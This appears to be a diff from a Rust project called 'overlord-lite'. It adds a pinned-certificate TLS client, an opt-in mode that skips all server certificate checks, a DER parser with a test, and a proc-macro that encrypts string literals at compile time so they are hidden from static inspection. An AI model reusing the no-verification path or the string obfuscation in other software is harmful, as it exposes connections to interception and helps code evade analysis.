let verifier: Arc<dyn ServerCertVerifier> = if insecure {
|
||||
Arc::new(NoCertificateVerification {
|
||||
provider: provider.clone(),
|
||||
})
|
||||
} else {
|
||||
Arc::new(PinnedCertificateVerification {
|
||||
pins: pins.to_vec(),
|
||||
provider: provider.clone(),
|
||||
})
|
||||
};
|
||||
Some(
|
||||
ClientConfig::builder_with_provider(provider)
|
||||
.with_safe_default_protocol_versions()
|
||||
.expect("ring supports the default TLS protocol versions")
|
||||
.dangerous()
|
||||
.with_custom_certificate_verifier(verifier)
|
||||
.with_no_client_auth(),
|
||||
)
|
||||
}
|
||||
|
||||
#[derive(Debug)]
|
||||
struct PinnedCertificateVerification {
|
||||
pins: Vec<[u8; 32]>,
|
||||
provider: Arc<CryptoProvider>,
|
||||
}
|
||||
|
||||
impl ServerCertVerifier for PinnedCertificateVerification {
|
||||
fn verify_server_cert(
|
||||
&self,
|
||||
end_entity: &CertificateDer<'_>,
|
||||
intermediates: &[CertificateDer<'_>],
|
||||
server_name: &ServerName<'_>,
|
||||
ocsp_response: &[u8],
|
||||
now: UnixTime,
|
||||
) -> Result<ServerCertVerified, rustls::Error> {
|
||||
let spki = certificate_spki(end_entity.as_ref()).ok_or_else(|| {
|
||||
rustls::Error::InvalidCertificate(rustls::CertificateError::BadEncoding)
|
||||
})?;
|
||||
let actual = Sha256::digest(spki);
|
||||
if !self.pins.iter().any(|expected| expected[..] == actual[..]) {
|
||||
return Err(rustls::Error::General(format!(
|
||||
"TLS server identity pin mismatch (received sha256/{})",
|
||||
STANDARD.encode(actual),
|
||||
)));
|
||||
}
|
||||
|
||||
// The pin makes this exact public key the trust anchor. Delegating the
|
||||
// rest to webpki retains certificate time, name, purpose, and encoding
|
||||
// checks instead of turning verification off for self-signed servers.
|
||||
let mut roots = RootCertStore::empty();
|
||||
roots.add(end_entity.clone())?;
|
||||
let verifier =
|
||||
WebPkiServerVerifier::builder_with_provider(Arc::new(roots), self.provider.clone())
|
||||
.build()
|
||||
.map_err(|error| {
|
||||
rustls::Error::General(format!("build pinned TLS verifier: {error}"))
|
||||
})?;
|
||||
verifier.verify_server_cert(end_entity, intermediates, server_name, ocsp_response, now)
|
||||
}
|
||||
|
||||
fn verify_tls12_signature(
|
||||
&self,
|
||||
message: &[u8],
|
||||
cert: &CertificateDer<'_>,
|
||||
dss: &DigitallySignedStruct,
|
||||
) -> Result<HandshakeSignatureValid, rustls::Error> {
|
||||
rustls::crypto::verify_tls12_signature(
|
||||
message,
|
||||
cert,
|
||||
dss,
|
||||
&self.provider.signature_verification_algorithms,
|
||||
)
|
||||
}
|
||||
|
||||
fn verify_tls13_signature(
|
||||
&self,
|
||||
message: &[u8],
|
||||
cert: &CertificateDer<'_>,
|
||||
dss: &DigitallySignedStruct,
|
||||
) -> Result<HandshakeSignatureValid, rustls::Error> {
|
||||
rustls::crypto::verify_tls13_signature(
|
||||
message,
|
||||
cert,
|
||||
dss,
|
||||
&self.provider.signature_verification_algorithms,
|
||||
)
|
||||
}
|
||||
|
||||
fn supported_verify_schemes(&self) -> Vec<SignatureScheme> {
|
||||
self.provider
|
||||
.signature_verification_algorithms
|
||||
.supported_schemes()
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug)]
|
||||
struct NoCertificateVerification {
|
||||
provider: Arc<CryptoProvider>,
|
||||
}
|
||||
|
||||
impl ServerCertVerifier for NoCertificateVerification {
|
||||
fn verify_server_cert(
|
||||
&self,
|
||||
_end_entity: &CertificateDer<'_>,
|
||||
_intermediates: &[CertificateDer<'_>],
|
||||
_server_name: &ServerName<'_>,
|
||||
_ocsp_response: &[u8],
|
||||
_now: UnixTime,
|
||||
) -> Result<ServerCertVerified, rustls::Error> {
|
||||
Ok(ServerCertVerified::assertion())
|
||||
}
|
||||
|
||||
fn verify_tls12_signature(
|
||||
&self,
|
||||
message: &[u8],
|
||||
cert: &CertificateDer<'_>,
|
||||
dss: &DigitallySignedStruct,
|
||||
) -> Result<HandshakeSignatureValid, rustls::Error> {
|
||||
rustls::crypto::verify_tls12_signature(
|
||||
message,
|
||||
cert,
|
||||
dss,
|
||||
&self.provider.signature_verification_algorithms,
|
||||
)
|
||||
}
|
||||
|
||||
fn verify_tls13_signature(
|
||||
&self,
|
||||
message: &[u8],
|
||||
cert: &CertificateDer<'_>,
|
||||
dss: &DigitallySignedStruct,
|
||||
) -> Result<HandshakeSignatureValid, rustls::Error> {
|
||||
rustls::crypto::verify_tls13_signature(
|
||||
message,
|
||||
cert,
|
||||
dss,
|
||||
&self.provider.signature_verification_algorithms,
|
||||
)
|
||||
}
|
||||
|
||||
fn supported_verify_schemes(&self) -> Vec<SignatureScheme> {
|
||||
self.provider
|
||||
.signature_verification_algorithms
|
||||
.supported_schemes()
|
||||
}
|
||||
}
|
||||
|
||||
struct DerElement<'a> {
|
||||
tag: u8,
|
||||
full: &'a [u8],
|
||||
content: &'a [u8],
|
||||
rest: &'a [u8],
|
||||
}
|
||||
|
||||
fn der_element(input: &[u8]) -> Option<DerElement<'_>> {
|
||||
let tag = *input.first()?;
|
||||
let first_length = *input.get(1)?;
|
||||
let (header_length, content_length) = if first_length & 0x80 == 0 {
|
||||
(2, usize::from(first_length))
|
||||
} else {
|
||||
let length_bytes = usize::from(first_length & 0x7f);
|
||||
if length_bytes == 0 || length_bytes > std::mem::size_of::<usize>() {
|
||||
return None;
|
||||
}
|
||||
let bytes = input.get(2..2 + length_bytes)?;
|
||||
if bytes.first() == Some(&0) {
|
||||
return None;
|
||||
}
|
||||
let mut length = 0usize;
|
||||
for byte in bytes {
|
||||
length = length.checked_mul(256)?.checked_add(usize::from(*byte))?;
|
||||
}
|
||||
if length < 128 {
|
||||
return None;
|
||||
}
|
||||
(2 + length_bytes, length)
|
||||
};
|
||||
let total_length = header_length.checked_add(content_length)?;
|
||||
let full = input.get(..total_length)?;
|
||||
Some(DerElement {
|
||||
tag,
|
||||
full,
|
||||
content: &full[header_length..],
|
||||
rest: &input[total_length..],
|
||||
})
|
||||
}
|
||||
|
||||
fn certificate_spki(certificate: &[u8]) -> Option<&[u8]> {
|
||||
let certificate = der_element(certificate)?;
|
||||
if certificate.tag != 0x30 || !certificate.rest.is_empty() {
|
||||
return None;
|
||||
}
|
||||
let tbs = der_element(certificate.content)?;
|
||||
if tbs.tag != 0x30 {
|
||||
return None;
|
||||
}
|
||||
|
||||
let mut fields = tbs.content;
|
||||
let first = der_element(fields)?;
|
||||
if first.tag == 0xa0 {
|
||||
fields = first.rest;
|
||||
}
|
||||
// serialNumber, signature, issuer, validity, and subject precede SPKI.
|
||||
for _ in 0..5 {
|
||||
fields = der_element(fields)?.rest;
|
||||
}
|
||||
let spki = der_element(fields)?;
|
||||
(spki.tag == 0x30).then_some(spki.full)
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn extracts_complete_spki_der_from_certificate() {
|
||||
let certificate = [
|
||||
0x30, 0x17, // Certificate sequence
|
||||
0x30, 0x15, // TBSCertificate sequence
|
||||
0xa0, 0x03, 0x02, 0x01, 0x02, // version
|
||||
0x02, 0x01, 0x01, // serial number
|
||||
0x30, 0x00, // signature
|
||||
0x30, 0x00, // issuer
|
||||
0x30, 0x00, // validity
|
||||
0x30, 0x00, // subject
|
||||
0x30, 0x03, 0x01, 0x01, 0xff, // SPKI
|
||||
];
|
||||
assert_eq!(
|
||||
certificate_spki(&certificate),
|
||||
Some(&certificate[20..25][..])
|
||||
);
|
||||
assert_eq!(certificate_spki(&certificate[..24]), None);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
[package]
|
||||
name = "overlord-lite-string-obfuscator"
|
||||
version = "0.1.0"
|
||||
edition = "2024"
|
||||
publish = false
|
||||
|
||||
[lib]
|
||||
proc-macro = true
|
||||
|
||||
[dependencies]
|
||||
proc-macro2 = "1.0"
|
||||
quote = "1.0"
|
||||
syn = { version = "2.0", features = ["parsing"] }
|
||||
@@ -0,0 +1,61 @@
|
||||
use std::{
|
||||
hash::{Hash, Hasher},
|
||||
sync::atomic::{AtomicU64, Ordering},
|
||||
time::{SystemTime, UNIX_EPOCH},
|
||||
};
|
||||
|
||||
use proc_macro::TokenStream;
|
||||
use quote::quote;
|
||||
use syn::{LitStr, parse_macro_input};
|
||||
|
||||
static INVOCATION: AtomicU64 = AtomicU64::new(1);
|
||||
|
||||
/// Encrypts one UTF-8 string literal while the crate is being compiled and
|
||||
/// expands to an expression that decrypts it only when evaluated at runtime.
|
||||
#[proc_macro]
|
||||
pub fn obfstr(input: TokenStream) -> TokenStream {
|
||||
let literal = parse_macro_input!(input as LitStr);
|
||||
let plaintext = literal.value();
|
||||
let seed = invocation_seed(&plaintext);
|
||||
let encrypted = crypt(plaintext.as_bytes(), seed);
|
||||
let bytes = encrypted.iter();
|
||||
|
||||
quote!({
|
||||
const ENCRYPTED: &[u8] = &[#(#bytes),*];
|
||||
::overlord_lite::obfuscation::decrypt(ENCRYPTED, #seed)
|
||||
})
|
||||
.into()
|
||||
}
|
||||
|
||||
fn invocation_seed(value: &str) -> u64 {
|
||||
let timestamp = SystemTime::now()
|
||||
.duration_since(UNIX_EPOCH)
|
||||
.unwrap_or_default()
|
||||
.as_nanos() as u64;
|
||||
let invocation = INVOCATION.fetch_add(1, Ordering::Relaxed);
|
||||
let mut hasher = std::collections::hash_map::DefaultHasher::new();
|
||||
value.hash(&mut hasher);
|
||||
timestamp.hash(&mut hasher);
|
||||
invocation.hash(&mut hasher);
|
||||
std::process::id().hash(&mut hasher);
|
||||
normalize_seed(hasher.finish())
|
||||
}
|
||||
|
||||
fn crypt(input: &[u8], seed: u64) -> Vec<u8> {
|
||||
let mut state = normalize_seed(seed);
|
||||
input
|
||||
.iter()
|
||||
.map(|byte| byte ^ next_key_byte(&mut state))
|
||||
.collect()
|
||||
}
|
||||
|
||||
fn normalize_seed(seed: u64) -> u64 {
|
||||
seed | 1
|
||||
}
|
||||
|
||||
fn next_key_byte(state: &mut u64) -> u8 {
|
||||
*state ^= *state >> 12;
|
||||
*state ^= *state << 25;
|
||||
*state ^= *state >> 27;
|
||||
(state.wrapping_mul(0x2545_f491_4f6c_dd1d) >> 56) as u8
|
||||
}
|
||||
Reference in New Issue
Block a user